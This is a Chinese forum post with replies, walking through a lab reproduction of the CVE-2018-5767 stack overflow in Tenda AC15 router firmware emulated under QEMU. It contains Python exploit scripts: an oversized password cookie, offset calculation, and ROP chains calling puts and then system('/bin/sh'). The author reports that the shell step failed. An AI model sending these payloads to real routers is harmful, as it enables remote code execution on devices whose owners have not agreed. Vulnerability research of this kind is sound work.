吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8424|回复: 53
收起左侧

[调试逆向] Tenda-AC15栈溢出漏洞复现(CVE-2018-5767)

  [复制链接]
初七的果子狸 发表于 2022-8-12 16:37

1. 前言

CVE-2018-5767是Tenda-AC15路由器所产生的漏洞,由于未对用户的输入进行合理的限制,直接使用了sscanf函数拷贝到栈上,从而导致了栈溢出的情况。

2. 实验环境

Ubuntu 16.04
GDB调试器
路由器固件:Tenda AC15 15.03.1.16_multi

固件下载地址

https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1

3. 固件模拟

使用binwalk分离固件系统,在分离过程中可以看出是小端序

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

1659427663284-12c37312-bf9f-4f0e-b6d9-9173650ca530.png

通过对squashfs-root文件系统中的/bin/busybox查看可得,程序为ARM架构

1659428039305-96fcecf5-9e40-45af-a157-37dcc017b614.png

其实在文件系统中选哪个可执行文件都无所谓,这里的buxybox选取也只是方便。busybox是一个集成了一百多个常用Linux命令和工具的软件,在嵌入式Linux应用中,busybox应用非常广泛,同时大多数Linux发行版的安装程序中都含有busybox。

这里采用qemu配合chroot命令来启动./bin/httpd文件

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以 /,即以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为 / 位置。

1659429514342-c66f36c1-00c1-4cc2-8fbf-3358da908098.png

运行后程序启动失败,输出下列错误

connect: No such file or directory
Connect to server failed.
connect cfm failed!

不太清楚是不是环境有问题,第一次调试的时候程序直接断在了Welcome to ...那里,后面反而没有这个问题了,不过这里也写下解决方法

IDA搜索WeLoveLinux字符串,查找索引

1659429843653-2dcc1a37-f47e-4963-9c07-4599508ee31b.png

共计三处索引和WeLoveLinux相关,先看第一处

1659429970685-2fc3ba17-ecae-48d8-80b1-52aaa22d4f10.png

R3小于等于0陷入死循环,patch掉给R3赋值那行即可

MOV             R3, R0
MOV             R3, 1

1659430278591-28824415-59bd-448a-aaf8-75e8ab443d21.png
1659430301496-891253f5-6131-455e-8e0b-0cc577e342f8.png

保存patch后的文件

Edit --> Patch program --> Apply patches to input file...

1659430396219-b21cb1cd-1963-4859-a79f-d47afc023cfe.png

覆盖原httpd文件,赋予权限后,再次运行

再次报错,R3等于0时走左侧,程序结束,同样的方法patch掉

1659430937213-482dad52-8b05-4d98-a27a-f16d76e70b66.png
1659430947689-7981ee76-ed1c-46af-aa21-2e53d0bb6e48.png

覆盖掉再次运行,成功模拟到环境

1659431613483-52e7f9c1-be90-41b9-bf98-6ab439d737f2.png

这里的IP如果没有模拟br0的话,会是一个随机IP,由于我提前配好了环境,所以直接成功了。这里我们来看下br0网卡的配置

sudo apt install uml-utilities bridge-utils
# /etc/network/interfaces

auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
# /etc/qemu-ifup

#! /bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
# /etc/qemu-ifdown

#! /bin/sh
# Script to shut down a network (tap) device for qemu.
# Initially this script is empty, but you can configure,
# for example, accounting info here.

:

配置成功后,ens33地址应该已经不显了,br0成功配置IP

1659432713963-994c630e-7bfa-44fc-993e-7dbf6304840d.png

当然,如果这些配置不成功的话,可以去网上找找资料。环境配的时间太久了,已经记不清当初怎么配的了。。。

4. 漏洞利用

根据CVE公布的poc可知,漏洞位于R7WebsSecurityHandler函数中,未对用户的请求进行合理的限制直接只用sscanf函数将用户的输入复制到栈上。

1659433542486-d0d84aec-4f98-43c9-b7ef-7d37cb79bfe1.png

想要到达溢出点,我们只需满足上面的if条件判断即可

1659433895952-c9cb85ef-9e7b-44e1-82c5-046236346256.png

从if中可以看出,我们只需要构造一个不在上述路径之内的一个虚假路径即可,比如/goform/helloworld

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

修改程序启动命令

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

使用gdb-multiarch调试程序,gdb-multiarch是一种支持调试多种架构程序的gdb

gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue

断点位置在R7WebsSecurityHandler函数的正常退出点

1659435212372-7925cb06-da1a-4ca5-ad10-f14fcd10d61d.png
1659436192929-84c2dad2-89d5-4a9f-9453-59e4fd4d5a18.png

运行脚本,程序没有正常断在函数结束处

1659436262500-0f2384d4-f95c-4cea-94a5-f71168ada15d.png

使用bt查看调用路径,0x2c5cc在溢出后被执行

1659436310695-f08437bf-80e4-4f2b-a9bc-97b15680ae7c.png

此时说明0x2c5cc处的函数影响了我们程序的正常执行,回到漏洞函数分析可知。如果我们的请求中包含如下几种字样之一就可以直接令漏洞函数返回,比如".png"

1659436419946-6151049f-4d6b-4720-aa90-edd4d10b086e.png

修改python脚本,重新执行

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)

成功执行到函数结束

1659437140435-983e7cb4-72ba-48d4-91ee-1f10c7568f22.png

ni,单步执行

1659437204176-4bc74302-d4bf-4af4-a4e3-c29c27d999b0.png

执行后发现填充的字符串最低位和往常不太一样,被置0了。按照师傅的解释,是因为arm模式与thumb模式的切换问题。在函数退出时执行了pop pc的操作,而最低有效位(LSB)将会被写入到CPSR寄存器的T位中,而pc本身的最低位则会被置零。

下面的流程涉及到了rop链的利用等等,这点我也不熟悉,所以下面的流程我会直接按照师傅的解释来。

pwntools的checksec模块,查看下httpd的保护机制,可以看到httpd开启了NX保护机制

1659493080235-893bfb86-957a-4012-bb72-176d8dc765c6.png

因为httpd开启了NX保护机制的原因,所以我们需要构造rop链来完成利用。使用ropper工具从/lib/libc.so.0中查找所要用到的gadget,同时因为QEMU未开启基址随机化,因此我们可以在gdb中使用vmmap命令找到libc的基址从而计算出我们需要的gadget。

1659522580886-d7427821-3c95-4967-aa6d-6d1f4d535850.png
1659522608863-7054e55c-713f-45e0-b9be-11cefe8df6fa.png

这两条指令的选取需要对应,即mov r3、pop r3,虽然不太清楚为啥。。。猜测是blx跳转指令集的原因,跳转后应该还是要pop回来的。

0x00040cb8  mov r0, sp; blx r3;
0x00018298  pop {r3, pc};

编写exp时我们还需要libc的基址,这里使用gdb中的vmmap。使用vmmap的前提是我们的程序需要处于运行状态,即如下状态。

下完断点,输入continue运行后,程序会保持运行态。这时运行脚本,程序就会成功断在断点处,我们可以开心的输入vmmap查看基址了。

另外,这里为了防止跑飞,断点我选在了R7WebsSecurityHandler函数退出的前几行b *0x002de94

1659520845861-7aa98d7d-3804-4616-ac5e-5583c0266c24.png

运行vmmap后,我们可以看到我们的libc基址如下(每个人的基址可能都不相同,因此需要自己查一下)

1659521094214-b162ed9b-521e-4fae-98e7-23c88d6bddf3.png

另外,关于两段gadget也可以在IDA中看到

1659521145717-69ca91ab-899d-473d-be79-418a1dea4763.png
1659521170180-6d651ace-524a-465e-938e-6c2f0b806a82.png

5. EXP

import requests
from pwn import *

base = 0xf65e5000
libc = ELF('./lib/libc.so.0')

puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

程序运行结束,成功输出hello

1659521275056-a541a573-6618-4503-9927-87a6cdb330d4.png

6. 关于偏移

关于最终脚本中的偏移,大家可能会有些疑问,在这里简单解释下。

为了方便计算偏移,这里我采用了pwntools中的cyclic小工具,首先cyclic 1024,生成1024个随机数

1659521685249-fe704218-d876-4e1c-80db-826afd42785a.png

接着,我们在第二个脚本基础上修改下

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
alloc = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak"
cookie = {"Cookie":"password="+alloc+".png"}
requests.get(url=URL, cookies=cookie)

其实就是将脚本填充的0x400个a给改为了这串字符而已。

然后,用上面同样的方法去运行我们的程序

1659521833842-6795a1fe-db36-4e35-ad78-58acaf9ef61c.png

在这里大家可以看到,我们溢出的字符最后的是paae,这个字符所代表的位置就是我们的偏移,也就是460

1659521877780-7799ff96-499b-413b-a51b-f277f04c307c.png

到了这里脚本中的偏移地址就很好理解了

444*a

4位的".png"

4位的pop_r3

4位的puts

4位的mov_r0

之所以是4位也很好理解,32位程序嘛,栈空间中自然是4位4位的相加啦。

1659521909650-2a485817-b5ab-4bea-9557-a6fb4c6319d0.png

计算一下就会发现,我们最终的结果就是444+4+4+4+4=460

是不是和我们上面的偏移相等呢。

7. 关于getshell

单纯执行puts输出只是为了验证漏洞存在与否,真正利用的话,我们还是需要利用system来执行命令。

import requests
from pwn import *

base = 0xf65e5000
libc = ELF('./lib/libc.so.0')

system_addr = base+libc.sym['system']
_str = "/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

这里修改脚本,通过libc基址查找system函数并调用,相同的方法运行

1659583195391-0461b712-2651-41f9-947d-119395027d09.png

在这里可以看到我们的system函数确实被调用了,并且写入了/bin/sh,但是真正执行下去发现没个锤子用。。。。

1659583279328-42068efa-9842-4000-99d6-7571b93f782b.png

当场宣告GG,但是我贼心不死,查找多方攻略后,看到有师傅这样写

1659583314332-7b442679-acea-48ae-b1f5-39fe9f69517c.png

很好,我也来试下

1659583333909-362d417e-f5b8-47b5-82df-660e1006ffec.png

继续修改脚本

import requests
from pwn import *

base = 0xf65e5000
libc = ELF('./lib/libc.so.0')

#system_addr = base+libc.sym['system']
system_addr = 0xf67560f4
_str = "/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

很好,再次宣告失败。。。。

1659583418797-23f7a349-a1ec-4412-9949-4ba0f0de5e23.png

呼~~~冷静,不生气,让我再去找些参考资料回来

1659583634511-be9910a0-fcc2-4392-8c79-5caa89b8b7d1.png

多方查找发现并没有解决办法,有个师傅猜测是qemu模拟环境的问题,导致找不到/bin/sh。。。

贫穷使我命途多舛,穷人家的孩子买不起设备,告辞。或许以后摸到了设备可能会再来更新这篇帖子,所以~~~

未完待续。。。

8. 参考链接

https://mp.weixin.qq.com/s/mRq3n3jDM0zvR15JAsLYSA
https://p1kk.github.io/2021/03/29/iot/Tenda%20AC15%20CVE-2018-5767%20CVE-2020-10987/
https://wzt.ac.cn/2019/03/19/CVE-2018-5767/

免费评分

参与人数 20吾爱币 +20 热心值 +18 收起 理由
junjunjun + 1 我很赞同!
gaosld + 1 + 1 谢谢@Thanks!
woshisanhuo + 1 + 1 用心讨论,共获提升!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
m1n9yu3 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
BrightMrW + 1 我很赞同!
niexin + 1 用心讨论,共获提升!
Tonyha7 + 1 用心讨论,共获提升!
1MajorTom1 + 1 热心回复!
独行风云 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hiplease + 1 + 1 用心讨论,共获提升!
余弦 + 1 + 1 谢谢@Thanks!
peiwithhao + 1 + 1 用心讨论,共获提升!
sinxxl + 1 + 1 我很赞同!
m52pj + 1 + 1 热心回复!
zhao7643442 + 1 + 1 热心回复!
努力加载中 + 1 + 1 谢谢@Thanks!
chenjingyes + 2 + 1 谢谢@Thanks!
timeslover + 2 我很赞同!
Wangming0214 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

13725948475 发表于 2022-8-31 18:04
楼主使用的qemu用户模式复现的吗,可以试试qemu系统模式,看看system能否被正常执行?可以看看system函数里是否有fork(),qemu用户模式并不支持多线程所以可能会执行失败。
 楼主| 初七的果子狸 发表于 2022-11-7 14:17
淡淡不揩油i 发表于 2022-10-27 10:04
我有按照文章首先启动了程序
[mw_shl_code=asm,true]sudo chroot ./ ./qemu-arm-static -g 8888 ./bin/h ...

有点奇怪欸,我又测试了一遍,我这里是可以成功获取到vmmap命令地址的。我也不太清楚你那出了什么问题,或许可以截图看看?
微信图片_20221107141642.png

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
淡淡不揩油i + 1 + 1 感谢回复

查看全部评分

不依baya 发表于 2022-8-12 17:59
wuaidacongming 发表于 2022-8-12 18:17
学习技术
yippee 发表于 2022-8-12 19:48
围观大神的技术
z3rg 发表于 2022-8-12 19:59
围观一下,感谢分享
chenjingyes 发表于 2022-8-12 21:15
就喜欢看漏洞分析的文章,嘿嘿 感谢楼主分享
Garfiel 发表于 2022-8-12 22:22
这漏洞分析的很透彻,学到了很多东西
2013年 发表于 2022-8-12 22:34
溜得飞起
bucai1 发表于 2022-8-12 22:38
6666学到了
头像被屏蔽
bm11459 发表于 2022-8-13 00:20
溜得飞起

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
cjie12345789 + 1 + 1 我很赞同!

查看全部评分

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 00:49

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表